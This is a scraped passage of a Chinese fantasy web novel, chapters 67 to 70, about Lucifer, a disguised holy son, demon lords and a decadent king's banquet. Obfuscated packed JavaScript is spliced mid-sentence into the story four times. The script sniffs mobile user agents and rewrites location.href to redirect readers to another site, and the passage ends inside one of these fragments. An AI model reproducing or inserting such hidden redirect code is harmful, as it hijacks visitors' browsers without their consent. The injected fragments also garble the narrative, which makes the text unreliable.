“场主,奴隶园中小孩也不少,何必一定要揪住这一个不放呢?”伊勒沙代补了一句。 场主眼睛一亮。 是啊,塞里加和这小孩素昧平生,但一见就能为他心痛难当,剩下那些小孩当然也能做到。 他有的是机会。 他看向伊勒沙代的目光也不再那么鄙夷,反而有些欣赏。 “你和他们真挺不一样,你是个做大事的人。”场主一双吊梢眼里满是笑意,“我见过许多像你这样的祭山族人,他们最后都做出了很大的成就。下个月的宴会,我想你能得到请柬,你也会见到他们的。” 他说着,又瞥了塞里加一眼:“你可要保持这份懂事,别被某些愣头青带进沟里。” 伊勒沙代没理会这挑拨之言,只让主管去给他拿纸笔来。 主管虽也对他不屑,但见场主对他言辞和煦,便也立刻换了副嘴脸,笑容满面地连声应下。 * “今日的情形,你也看见了。” 待回到院中,伊勒沙代便安排侍从带着那小孩下去梳洗。 塞里加坐在窗边,握紧双拳。 “看见了。”伊勒沙代淡淡回道,往面前的杯中添了茶水。 塞里加猛然回头:“那你怎么还能这么冷静,这么无动于衷?伊勒沙代,那都是我们的族人啊!我们有一样的血脉,一样的传承,我们并不低贱于任何其他人族!” 伊勒沙代看着他,露出了一点疑惑的神情,像是有些不解:“是的,都是人类。” 都是人类,有什么不同? 眼前的塞里加,后院的小奴隶,王座上的杜维德安,圣殿里的大祭司。 都是人类,没什么不同。 为何要彼此仇恨? 为何要互相残杀? 神从至高处俯瞰人间,却只见满目疮痍。 这是撒旦的杰作吗? 也不尽然。 路西法可以说做了很多,也可以说什么都没做。 唯一明确的一点,他的确是,造物主最完美最成功的作品。 他继承了创世神的作风,他不过是给人类提供了更多的选项,或善或恶,人类自己判断。 但选择哪一个选项,依旧是人类自己决定的。 祭山族人可以拒绝魔王描绘的繁华人间的诱|惑,莱洛温先王可以善待祭山族人,杜维德安可以不接近大祭司,塞里加可以不管其他祭山族人。 只是他们都做出了自己的选择。 命运顺从他们的选择向前发展。 命运就像一条河流,他们的选择,就是河道上的拐点,决定了河流的走向,也决定了河流的尽头。 同样的,河流不会因为谁哭泣后悔而停止,更不会因为谁绝望痛苦而倒流。 伊勒沙代很疑惑。 千百年了,人类生生死死,一代又一代人从繁荣到溃散。 为什么还是不懂“爱”呢? 爱比恨难得,比恨难拥有,比恨难维持。 但这是他,祂,给人类的殊荣。 只可惜…… 还没有人悟透其中真谛。 本来,祂可以等。 祂拥有太多光阴,寥寥神殿里,纵使千年万年也不过是弹指一挥间。 可是—— 路西等不起。 所以世界必须加快进程。 这一批人类不明白。 那就换下一批。 比起徒劳地传播教诲,直白地用残酷世情淘汰不合格的人类,才是创世神的行事风格。 祂倡导耐心。 但祂自己并不太具有这东西。 为数不多的,也只给了祂最完美的造物。 伊勒沙代自认,比起他的本尊,他已经算得上仁慈。 他为这一批人类感到遗憾。 塞里加不懂他的心情,他只是满腔愤怒:“那你就不该再去救那些莱洛温人!他们,他们罪该万死!” 伊勒沙代充满怜悯地看着塞里加,分明顶着少年的外貌,他却像是个饱经世事的长者:“人类就是人类,从来都没有差别。” “不!有的,他们如此对待我们的族人,我们绝不可能原谅!”塞里加怒道。 伊勒沙代静静地看着他,面上依然是和善的微笑,仔细看去,那双湛蓝眼眸中却没有一丝感情。 好似一面镜子,只倒映出对方的情绪,自己本身,却什么也没有。 “你该走了,狄曼图雅小姐很快就会回来。”伊勒沙代说话时,他的侍从正好带着梳洗后的小孩回来。 小孩怯怯地看了一眼伊勒沙代,然后便畏惧地躲到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091911|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞里加身后。 塞里加有些尴尬,轻声哄劝:“这位先生才是救了你的人,没有他,我带不走你的。” 但无论他怎么说,小孩都死死藏在他身后,不肯出来。 伊勒沙代不恼,反而很是欣赏。 能察觉出他身上不易发现的危险气息,这小孩的感知能力很强。 他笑道:“不必勉强,毕竟我也说了些不好听的话。” 塞里加却更是惭愧。 不一会儿,狄曼图雅如伊勒沙代所言一般回来,他们便都告辞。 塞里加自有处置这孩子的办法,并不需要伊勒沙代操心。 伊勒沙代送他们出门,回来时,一个身材高大的侍从带着一个纤瘦灵活的侍女来向他禀报。 两人完全是另类的极端,侍从一步步走得铿锵有力又略显笨拙,侍女却是一步一扭细腰款摆,好似风中藤蔓。 他们站在廊下,也没有开口,伊勒沙代微微偏过头,却就明白了他们的意思。 “又有闯入的人?不妨事。”伊勒沙代唇角微弯,笑容温柔又纯善,“还是如以前那样处理吧。” 两人都是一喜,不伦不类地学着人类的样子作揖道谢,然后便匆匆离去。 如以前那样处理,那就是,可以给他们做养料。 主人说了,这样的劣质人类,留着也没什么意义。 喂养他们,也算是尽了剩余价值。 于是刚刚才偷摸着进了小院的杀手们,还没等到大展拳脚,便被斜刺里一条条藤蔓绑得严严实实,他们连一声惊叫都没发出,就被全身都裹了起来。 随即,藤蔓里传出了响亮的咀嚼声。 细腰的侍女露出了心满意足的微笑。 * 路西法终于有空回应了杜维德安王。 他听闻回音,喜不自胜,早早将一众侍卫遣散开去外围,奴仆宫人更是一个不留。 在同样月朗星稀的夜里,他跪在窗台前,如愿嗅到了那宛如被烈火焚烧过的花的香味。 杜维德安王将头埋得更低,以示忠诚。 路西法却被他殿中那股甜腻的香气恶心得皱了皱眉。 用量更大了。 看样子,那一天渐渐近了。 路西法舒展眉头,心情也愉悦了些许。 他又问了那个问题。 “怕了?” 杜维德安王看着地面,喏喏道:“传闻,他是天国圣子降临人间,我,我不敢……” 路西法嗤笑一声。 杜维德安王霎时收声,不敢多言。 “笨。” 路西法停在他身前,挡住星月投向他的光辉,只剩他背后殿中的幽幽烛火做照明。 他语气仿佛宠溺,但个中寒意却直逼人骨髓。 “他说他是,他就是了?” 杜维德安看着面前缀着金饰的靴子抬起,踩到了他的肩上,他情不自禁地颤抖起来,冷汗簌簌而下。 “不要再让我听见这样的蠢话了,好吗?” 撒旦好像在苦恼,好像在无奈。 实则却是在露出他的獠牙。 他的声音很轻,却又重重打在杜维德安王心头。 “在两个月后的祭典之前,取走伊勒沙代的性命。” 杜维德安眼前发晕,牙齿也在打架。 天国圣子,天国圣子…… 可撒旦要他的命。 他的口舌比他先回答了。 “……请撒旦陛下放心。” “好孩子。”路西法笑起来,殷红竖瞳里却冷得不透一丝情感。 “你和当年一样,做出了正确的选择。” 68. 宴会开场 约里赶在宴会之前,终于抵达了王城,他一见到伊勒沙代,就激动得几乎哽咽。 当时伊勒沙代下落不明,他在莫格加族的营地成日心神不宁,还好后来阿斯蒙蒂斯回来,告诉他伊勒沙代的去向,他这才得以平静,但不过立刻就要赶往王城。 “……阿亚,她想留在莫格加荒原,和莫格加族人待在一起。”约里颇为伤怀地抹了抹眼睛。 虽然他从前也知道,他们兄妹成年后都会迎来分离,只是没想到,会分离得这么曲折。 但他是个好兄长,阿亚在莫格加族营地是快乐的,他就不会阻拦她。 “我这一路能顺利到达,还得多谢……他,送我过来。”约里不好意思地指了指在他身后的阿斯蒙蒂斯,却见他像在看什么神奇生物似的直勾勾盯着伊勒沙代。 约里不动声色回头拧了他一把,才叫他回过神。阿斯蒙蒂斯轻咳一声,道:“跟我客气什么?举手之劳而已,反正我也要来这里。” 伊勒沙代却道:“他是该感谢你。” 他这么讲道理,反而让阿斯蒙蒂斯浑身不自在起来。 约里到底只是个凡人,累了一路,寒暄之后便被侍从带着下去休息,厅堂里便只剩下阿斯蒙蒂斯和伊勒沙代。 阿斯蒙蒂斯又恢复了那种眼神,充满惊奇地打量伊勒沙代:“你居然没死,也没缺胳膊少腿?” 陛下良心发现弃恶从善了吗? 怎么没人通知他? 还是说,陛下终于和伊勒沙代相认,从此要双宿双|飞了? 这就是真爱的力量吗?好厉害的样子。 可惜他只讲色|欲,不求真心,不然怎么也得感受一下。 伊勒沙代淡淡瞥他一眼,好似看穿他心中所想:“路西还不知道那件事。” 阿斯蒙蒂斯的惊讶立刻溢于言表。 不知道还会留着伊勒沙代的命? 他看着伊勒沙代的眼神里带了点敬佩,不管怎样,这位圣子真有些能耐。 但出于他的立场,有些丑话也不得不说。 “那天的事,陛下不会希望更多人知晓,米迦勒和加百列都知道分寸,我们打得再厉害,他们也不会把这种事往外传。你也得知道,无论你和陛下以后会走到哪一步,这件事,都只能被埋死在我们几个中间。” 阿斯蒙蒂斯现在都庆幸当时在场的几个人都不是纯粹的二愣子,没嚷嚷出去,不然陛下如今不知道会有多恼怒。 他又压低声音,道:“我不管你是对陛下用了什么手段,藏好了也就罢了,要是哪天给陛下发现,就是父神亲临,你的命也难保。” 撒旦陛下绝不会容忍欺骗和背叛。 这些年地狱魔王们偶尔也有搞些小动作,想让自己份量更重更有话语权,或是领地能再扩大几分,陛下都看在眼里,但大多时候并没有多做处置,一向直秉公处理,任他们各凭手段。 唯独在有人试图勾结外族达成目的的时候,陛下就不会再留情。 阿斯蒙蒂斯一直很佩服路西法的张弛有度和果决凌厉。 换作其他任何人,要么没这么能拿捏其中的分寸,要么就是没这威慑力,能镇住地狱那群各有本事的魔王。 不愧是父神亲手教出来的…… 咳。 总之,他提醒伊勒沙代一声,虽然不乏私心,但也是出于好意。 这可是魔王难得的善意时刻。 但伊勒沙代只是笑了一下,道:“我并没有做任何手脚。” 一切只出于路西菲尔的自我意愿罢了。 若一定要说有谁被下|药,那这个人难道不该是他吗? 路西菲尔可是把那一整瓶药喂给他了。 有没有效果先不说,总之是有这么回事。 而药的来历也和他没有一点关系,是阿斯蒙蒂斯被人赠送,不知情的情况下又给他的。 从头到脚,他不沾一点因果。 很纯粹的受害人。 路西法自己后来肯定调查过,他只会查到这些事实。 所以伊勒沙代并没有任何心虚之处。 阿斯蒙蒂斯明显不信。 陛下怎会是那等急|色之人? 他要是,万魔殿就不会空置那么久了,毕竟真心爱慕他或是单纯想和他来一段肉|体关系的加起来都能塞满整个潘地曼尼南。 从天国到地狱,他想要谁得不到? 也就是他自己心高气傲谁也看不上罢了。 而且伊勒沙代对陛下也看得出来是有那份心在的,半推半就便能成了的事,何至于需要绑起来用强? 阿斯蒙蒂斯还是倾向于其中有他不知道的隐情。 大概率是伊勒沙代做了什么。 但他是个识趣的人,向来明白,知道太多的人不会有好下场,探知欲往往会把人引到死路上去。 所以他也没多问,只道:“你心里有数就行。” 他来这趟主要就是以约里做幌子,见一见伊勒沙代,嘱咐一些不能由他人转达的话,旁的也没有什么好说,敷衍两句就提出告辞。 他毕竟是魔王,还是色|欲之罪,要是真和伊勒沙代这个天国圣子一见如故相谈甚欢,今天晚上米迦勒可能就得提着剑来跟他谈心了。 伊勒沙代也没留他,只是在他将将迈过门槛时状似无意般开口:“近来城外乱葬岗突然多了好些尸体,不知为什么,都辨认不出身份,而且都像是已经被啃食过。” 阿斯蒙蒂斯一顿,回头盯着他:“你什么意思?” “从前的冤孽,总是要还的。”伊勒沙代回看过来,他站在廊下,穿透屋檐的阳光照在他半身上,耀眼夺目,让人看不清他的面容。 就好像,就好像他还在天国时,趁着到水晶天神殿朝会,众天使俯首低眉,而他偷偷朝神座投去一眼,所看到的……那位。 阿斯蒙蒂斯一震。 “我不懂你在说什么。”他别过头,离开的身影颇见慌乱。 * 宴会之日,整座王城通向宴会场地的道路都被清场。 权贵们纷纷出行,沿路的平民都被不留情地清理。 杜维德安王有心大办,专程为这次的宴会在王城郊外建了一座宫殿,其劳民伤财自不必多说。 但王城的权贵们骄横豪奢惯了,也没人觉得有什么不对。 钉着华贵蹄铁,披着锦绣彩绸的高头大马仰头挺胸地把来不及收起的路边摊掀翻,摊主赖以生存的瓜果蔬菜被踩成了泥浆。 车夫却头也没回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091912|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,驾着镶金嵌玉的马车疾驰而去,只留下阵阵甜腻香风。 老迈的摊主夫妇被一块儿推倒在地,他们的儿子想跟过去理论,却被他们拉住,只好骂了几句,满脸忿忿地回来扶起父母。 “他们也太过分了!”约里捏紧拳头,对着那马车远去的背影咬牙切齿。 这一路他也见到了不少王公贵族的车驾,大多都是这样,目中无人。 他气都气不过来。 伊勒沙代俯下|身,捡起尚算完整的橘子,递向摊主儿子。 他手掌白净五指修长,那颗沾了泥水的橘子在他手中对比鲜明。 但他面上没有分毫嫌弃。 摊主儿子一愣,他见他身上所穿并非他们这般的粗布麻衣,心中便有些忐忑,犹犹豫豫地伸手:“谢谢。” 伊勒沙代却收回手,递出钱币:“这个,我买了。” 摊主儿子连忙摆手:“这数额太大了,我,我找不起。” 伊勒沙代放下钱币,平静道:“但你需要它。” 摊主儿子沉默了。 对,他需要,他们一家都需要。 他还是接过了那枚钱币,只是泪水在眼底打转。 约里看得不忍,别过头去。 此时,他却见又一辆马车飞奔而来,比方才那一架还要华丽百倍,甚至用上了四匹大马,那马都健硕昂扬,约里仔细一看,竟是莫格加族人培育的良种。 他看着四周,忙提醒伊勒沙代:“先生,当心!” 然而,那马车到他们跟前却蓦地停了下来。 金丝织成的软帘一掀,莫涅弋南的脸容光焕发地出现。 “你怎么自己就走了?我到你那宅子找你,你的那些侍从跟哑巴似的不开腔,那个走路摇曳生姿的侍女还对着我笑得奇奇怪怪的,我看了瘆得慌,连忙就走了,幸好你没走远。上来吧!我带你去。” 这人自顾自就说了一大堆话,到最后已经相当主动地把整个帘子都掀开,驾车的美貌侍从也跳下来,把小凳放伊勒沙代面前。 “快点呀,虽然我一般都是最后几个到的,迟到的时候也多的是,但是这次不一样,我那堂哥在呢,我不好不给他面子。” 在莫涅弋南的催促中,伊勒沙代还是上了车。 他示意约里也跟上,约里惴惴不安地看向莫涅弋南,莫涅弋南却只是瞟了他一眼,不置可否,像是他这个人完全不存在一样不在意。 约里咬咬牙,跟了上去。 “还没感谢你呢,我这段时间确实好多了,这场宴会你只管跟着我,有我在这儿,百分之九十九的人都不会敢来找你的茬。” 伊勒沙代上了车,莫涅弋南还在滔滔不绝,连他吩咐驾车的奇星放慢速度不要伤及无辜也没管。 莫涅弋南是无所谓的,但如果伊勒沙代介意,那也行。 “对了?那个……你的,呃,情人?他去吗?”莫涅弋南突然想起,又问道。 提到路西法,伊勒沙代总算笑了起来:“他已经到了。” 正在宴会厅监视着我呢。 伊勒沙代看向虚空的某处,与另一头的人对上视线,笑了笑。 路西法收起物件,暗骂一声。 废物梅塔特隆,这什么垃圾! 69. 赏心悦目 阿斯蒙蒂斯敏锐地察觉到自家陛下原本还挺愉悦的心情猛然变差,正想对美貌男仆暗送的秋波立刻紧急刹住,目不斜视,坐得身姿笔挺。 路西法冷笑一声:“回去告诉别西卜,玛门的工作量可以再增多一些,他还是太闲,未来一年他都不必离开潘地曼尼南了。” 阿斯蒙蒂斯喜上眉梢,一口答应:“一定帮您把话带到。” 好好好,让他玛门威胁他,这报应来得可真快。 他已经迫不及待想看玛门发现这件事时的脸色了。 一定相当精彩。 路西法说罢,又将目光投向宴会场内。 这座宫殿建造得极尽奢华,就差真以黄金做地玉为栏,吊顶垂下的灯盏外罩着正片剔透琉璃,宴饮作乐的雕刻图间镶嵌着价值不菲的钻石,地砖上都铺了厚厚的绒毯,壁上挂着千金难求的名家名作,宴会厅四周都有乐伶演奏,他们相隔甚远,但乐声却能同步,确保厅中权贵们无论在哪里都能听见。 美貌温顺的侍从捧着托盘往来于客人之间,他们看着都不算健壮,那端着托盘的手却极稳,疾行时盘上杯中酒液也没有分毫洒出。 权贵们大多都已经到场,剩下的都是些身份高贵最不怕别人议论迟到的。 现下他们已经三三两两交谈着,衣香鬓影,觥筹交错,好不热闹。 路西法意兴阑珊地找个透气的地方待着,也没去专属的单独休息室。 他站在远处看这些笑容假模假样的王公贵族,感觉还没看伊勒沙代有意思。 他们太好猜了,没有伊勒沙代那么难琢磨。 长得也没他赏心悦目。 “果然还是得本身容貌外形上佳最好,不然再多外物装点也都是浪费。”路西法嫌恶道。 阿斯蒙蒂斯连忙接话:“正是,这长得好的人就是衣衫褴褛也好看,不好看的人锦衣华服也是糟蹋了。” 他这话说得很真心实意。 色|欲魔王没事就爱看看美人,但这宴会厅里的人真是没法说。 也不能说丑得不堪入目,代代王公贵族也知道跟美貌的人留下后代,又养尊处优,容貌上差也差得有限,但他们魔王自带透过肉|体看灵魂的能力,看人的时候很难不会连肉|体带灵魂都看个清楚, 而一具再美好洁白的躯壳,内里盛着腐烂发臭的灵魂,他再怎么不挑也是不能违心说出“好看”二字的。 可惜躯壳与灵魂都美的人类太少了。 而且往往都被天国暗中标记,他想下手也没机会。 就比如跟在伊勒沙代身边那个。 要不是伊勒沙代在旁边,威慑力比米迦勒还强,他早就下手了。 可惜啊可惜。 阿斯蒙蒂斯心里难受,看着宴会厅里众人的目光也越发不善。 一群歪瓜裂枣! 还吵闹得很。 阿斯蒙蒂斯摸了摸耳朵,正想干脆屏蔽听觉,忽地就听见几句话飘过去。 “……城外乱葬岗最近死的那些都是什么人啊?分明多了那么多尸体,怎么城里一点儿恐慌消息都没有?” “我也正奇怪呢,按理说那些平民不该最怕这种事了?怎么这次都没反应?” “你是没听说,那些尸体每天都在增加,一开始平民心里都慌呢,时间一久,发现自己身边压根没少人,亲朋好友全都在,好似死的不是王城的人,也就没在意了。” “死的不是王城的人,那何必专程到王城外的乱葬岗抛尸?嫌自己过得太自在了?那万一惹到杜维德安王,岂不是要坏事?” “嗐,谁懂那些变|态的心理呢?也许就是图个吓人的乐趣。” 阿斯蒙蒂斯循声望去,那是几个空有身份却没有权势地位的闲散贵族,王公重臣不屑于搭理他们,他们就自己找个地方凑在一起说闲话,提起的自然也不是国家大事,而是坊间传闻。 但他们对这些事也就是说个稀奇,提过一嘴后便聊起了旁的,看样子也不知道内情。 阿斯蒙蒂斯皱了皱眉,心不在焉地回头,却见路西法不知何时正盯着他。 阿斯蒙蒂斯着实吓了一跳,整个魔都一抖。 “陛……陛下,有何吩咐?”他结结巴巴地问。 “没事。”路西法弯唇笑道,“看你那么专心,还以为,你很想知道是什么事呢。” 当然想知道。 阿斯蒙蒂斯心头虚得厉害。 其实还是因为伊勒沙代那番话。 伊勒沙代知道什么? 他还记得当时路西法故意把他留下,伊勒沙代为了能差使得动他,竟然拿出了那枚露薇缀饰。 按理,他不该知道的。 伊勒沙代到底是只知道露薇缀饰对他的意义,还是知道整件事的来龙去脉? 阿斯蒙蒂斯不敢断言。 他在伊勒沙代面前无所适从,也有觉得伊勒沙代仿佛能把他的一切都看透的缘故。 伊勒沙代这个人本身,太古怪了。 他跟他印象中的所有天国生灵都不一样。 阿斯蒙蒂斯不知道他家陛下有没有跟他一样的感受。 总觉得…… 伊勒沙代,有时候表现得不像个天国生灵。 天国规矩森严,却好像压根对他不起作用似的。 从他那里说出来的话,由不得阿斯蒙蒂斯不放在心上。 但看着路西法的表情,阿斯蒙蒂斯还是识趣地打个哈哈敷衍过去:“怎么会呢,人间的事跟我能有什么关系?就是觉得稀奇。” “是吗?”路西法似笑非笑。 阿斯蒙蒂斯用力点头,努力让自己的表情看上去很真诚。 “我还说如果你实在想知道内情,我就告诉你,既然你不想,那就算了。”路西法丢下这句话,就从弯腰低眉的侍从手中托盘上取下一杯酒,但只闻了闻,就嫌弃地放下。 只留阿斯蒙蒂斯在原地语塞郁闷。 他哪知道陛下这回有这么好心啊! 要不还是想办法改天从伊勒沙代嘴里套套话得了。 虽然他也很可怕,但好歹没陛下那么可怕。 他正想着伊勒沙代,就见他想着的人从正门走了进来。 霎时,这宴会厅似乎安静了一瞬。 只是一瞬之间,转眼权贵们又继续说说笑笑,仿佛只是错觉。 但阿斯蒙蒂斯敢肯定不是。 这些人,他们看似还在谈笑风生,实则,注意力已经转移到了伊勒沙代身上。 有古怪。 阿斯蒙蒂斯起了疑心。 其实伊勒沙代能来这里就已经显得奇怪了…… 场内是有祭山族人不假, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091913|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但伊勒沙代可没这些人的“本事”。 权贵对他恨不得除之而后快,怎会因是莫涅弋南公爵帮他取请帖就不阻止了? 莫涅弋南出了名的只爱享受不管政务,并没有实权。 而阿斯蒙蒂斯知道的想要伊勒沙代命的重臣都不少。 阿斯蒙蒂斯心下警觉,偷偷去看路西法。 却见他家陛下表情毫无变化。 阿斯蒙蒂斯一下心里有了谱。 看来,又是陛下的手笔了。 他放松了些,忍不住开始猜测其中的因由。 * 那边的伊勒沙代也看见了他们。 这座宫殿有三道门,侍卫、车夫和马车留在一道门外,王公贵族的贴身侍从留在二道门外,最后一道门,只能本人进来。 约里就被留在了二道门外,按理奇星该留在三道门外,但莫涅弋南本人那张脸就是特权,他说让奇星到二道门外,宫殿的侍卫也不敢反对,左右也没带进去,不算坏了大规矩。 莫涅弋南特地贴心地安排奇星好好照顾约里,他给伊勒沙代解释,这些王公贵族的侍从间也有鄙视链,挤兑起人来分外厉害。 不过奇星明显是这条链的顶端,他冷着脸带着约里走了一圈,其他人连跟他对视都不敢。 伊勒沙代见状才放心,和莫涅弋南一起进了宴会厅。 他也发现了那一瞬的沉默,以及若有若无的打量。 不难猜出是谁的“功劳”。 莫涅弋南一进宴会厅就被团团围住,各种人堆了笑脸迎上来,嘴里也满是好话,把他和他家里的花花草草小宠物都问候了个遍,唯恐不够殷勤。 莫涅弋南不胜其扰,拉着脸间歇性回几句话,身份不够高的他索性理都不理。 伊勒沙代完全没有解救他的意思,只朝着路西法那边过去。 路西法眯起眼看他。 灯红酒绿,丝竹乱耳,醉生梦死。 伊勒沙代行走于其间,白衣如雪,不沾尘埃。 路西法莫名地觉得不顺眼。 当伊勒沙代走近他时,他蓦地手一松,那装着红酒的杯子立刻摔在地上粉身碎骨,鲜红的液体飞溅,攀爬上伊勒沙代的衣摆。 “手滑。”路西法歪了歪头,一脸无辜,“你不会生我的气吧?” 阿斯蒙蒂斯在一旁目瞪口呆。 他第一反应—— 陛下居然只是摔杯子,而不是从伊勒沙代头上浇下去,陛下果然变善良了! 第二反应才是,陛下你居然会给自己的行为找借口!陛下你变了!你以前干坏事都是大大方方承认的啊! 阿斯蒙蒂斯头皮发麻,只觉得背后酝酿着未知的可怕阴谋。 相较于他的紧张惊疑,伊勒沙代本人却淡定许多。 他对于衣摆的污渍毫不在意,往路西法身侧一坐,温声道:“这里的酒不好,还是不要喝了。” 路西法的视线随着他转动,眸中透出几分兴致:“你不好奇他们为什么盯着你?” “想要我的命。”伊勒沙代学着他的模样笑起来。 他说得太平静轻松,好似这不是人命关天的大事,而是稀松平常的小事。 路西法笑得越发开怀,凑近他。 “那不如……求我,我保你平安走出这宴会厅。如何?” 70. 一目了然 伊勒沙代看着他,笑起来:“可就算我不求你,你也会带我活着离开的,路西,你买下的那个奴隶,需要我治好他的痴傻病。” 撒旦陛下固然可以直接读取他的记忆。 但一个傻子能记得什么很不好说,而被恶魔读过记忆后他便再也恢复不了神智,这不能赌。 可要撒旦陛下纡尊降贵去治一个不一定知道什么有效内容的傻子,又太过为难路西法了。 金钱是身外之物,疗愈之术却不是,他带在身边的阿斯蒙蒂斯可不擅长这个,再从地狱指派个恶魔来又太没效率。 所以撒旦陛下今日是专程来候着他的。 所以撒旦陛下才勉强放下了对那一日的介怀搭理他。 路西法看着面前笑容笃定的伊勒沙代,勾了勾唇角。 下一秒,他毫不犹豫地抬手,清脆的巴掌声就在厅内响起。 这声音在喧闹的厅内其实并不算响亮,却蓦地吸引了许多人注意,他们意识到不该转过去看又别过脸,但眼珠子始终往这边瞟。 阿斯蒙蒂斯不一样,他正大光明地看,正大光明地震惊。 刚刚不还在亲亲热热地说话吗? 怎么突然就一耳光下去了? 这是情人的态度吗? 他和他的情人从没有这样过啊? 他看着伊勒沙代脸上鲜明的红痕,莫名觉得自己的脸皮也开始幻痛了起来。 陛下看上去并没有收着劲。 这得多疼啊! 难为伊勒沙代竟然只是表情惊讶了一下。 难道他不觉得痛吗? 伊勒沙代当然不会感觉不到痛。 毕竟这具身躯只是个普通的凡人。 生老病死伤,喜怒哀乐忧思惧,按理都能拥有。 何况还正如阿斯蒙蒂斯所想那样,路西法这一巴掌根本没收着劲。 他故意的。 罪魁祸首打完了还笑盈盈地问:“疼不疼?” 疼就对了。 不疼他打人干什么? 难道还真跟他调|情? 单纯看不惯伊勒沙代这副永远稳操胜券成竹在胸的样子罢了。 伊勒沙代这回没有再反问,他从路西法兴致勃勃的反应中获得了答案,所以干脆如他所愿地回答:“疼。” 路西法果然笑得更开心了。 他摸了摸伊勒沙代那一侧泛红的脸,怜惜道:“这么好看的脸,就是伤着了也好看。伊勒沙代,这是你原本的相貌吗?” 是,或者不是? 伊勒沙代想了想,道:“大致相似。” 但还是会像人类一些。 原本创世神无意为自己打造实体,毕竟实体无论如何都会有所束缚。 给圣子一个实体,不过是为隐瞒他们同出一源的事实,也方便他行事。 不过后来,祂改变了主意。 而圣子的相貌方面…… 祂压根没在意,自然是圣子自己想怎么样就怎么样。 圣子出于个人意愿,结合他们一脉的记忆,按照路西法喜欢的方向捏造出来了自己的脸。 但他降生人间后,和原本那张捏出来的脸也就剩几分相像了。 如果没遇上路西法,伊勒沙代倒是对于外形相貌都无所谓,左右不过发血皮肉骨,该有的部件没有少,不妨碍他完成必要的使命就行。 但现在不行。 路西有自己的审美,他喜欢漂亮的,好看的。 由于创世神之前给他留下的不妙印象,他现在会更不排斥柔弱,可掌控的人靠近。 但路西本质上…… 不会喜欢软弱无能的人。 其中的度,需要他自己把控。 如何转变,何时转变,伊勒沙代都得想好。 “只是相似?那可惜了。”路西法说着可惜,语气里却听不出来遗憾。 他们旁若无人地说着自己的话,而被他们无视的阿斯蒙蒂斯在在一边欲言又止止又欲言。 不是刚刚才扇了一巴掌吗? 不是说扇得很痛吗? 怎么突然就又若无其事地聊起来了? 你们两个中有一个人的恋爱观是正常的吗? 圣子你一点都不生气的吗? 他在侮辱你啊! 当众! 你的脸还红着呢! 阿斯蒙蒂斯忽然不知道该说什么了。 你们俩还怪般配的。 * 莫涅弋南差不多是最后一个到场的,他到了不久,宫殿外忽地响起了三下钟声。 乐伶们都会意地换了曲子,从舒缓变作激昂,又有身材高大的鼓手进了二道门,在宫殿外重重击鼓。 伴随着钟鼓乐声,杜维德安王终于抵达宴会厅。 他看着似乎有五十来岁,微微佝偻着背,一双眼时而混浊,时而透出些狠戾。 但他今年应当还不满五十。 他的弟弟阿图略鲁亲王跟在他身后,看上去比他年轻许多,浑身上下也不比他有戾气,反而显得温和儒雅。 杜维德安另一侧跟着的竟然是狄曼图雅。 但她眼眶通红,看上去似乎刚刚哭过。 从伊勒沙代进入宴会厅起,就发现这整个宴会厅里弥漫着一股甜腻的香气,而在杜维德安王等三人进来后,这股香气更加明显。 也更叫人反胃。 但无论权贵们还是乐伶,都没有露出不适的异色。 只有狄曼图雅看上去很不适应。 伊勒沙代微微偏过头,对路西法道:“人类的王,不该这么纵情声色犬马。” 路西法状似惊讶:“你的意思是,我逼他变成这样的吗?伊勒沙代,指控别人可要讲证据。” 伊勒沙代一默。 路西法当然不会留下任何证据,也不会让自己变成因果链的一环。 但杜维德安王依旧会变成他所希望的那样。 而且他不会觉得撒旦在其中造成了什么影响,他只会认为是自己的缘故,自己所做的一切都只是出于自己的意愿。 却不知道,他所做的,全是撒旦想让他做的。 这就是路西法的高明之处。 玩弄人心的本事,路西法早已练就得炉火纯青。 跟路西法争辩没有意义。 所以他直接伸手按住路西法的唇,正经道:“都是他的错。先听他开场。” 阿斯蒙蒂斯在他伸手的时候就瞪大了眼睛,脑海中想到了一万种残肢乱飞的场景。 他都想到了要怎么面对杀气腾腾的米迦勒。 打是肯定打不过的。 跑…… 尽量吧。 然而正在他盘算的时候,却见他家那位一向心高气傲的陛下,竟然丝毫没有反抗。 他竟然,只是,不甚优雅地白了伊勒沙代一眼。 阿斯蒙蒂斯简直想把自己的眼珠子挖出来,擦一擦,然后再安装回去。 他已经完全不能理解这二位在干什么了。 另一边,杜维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 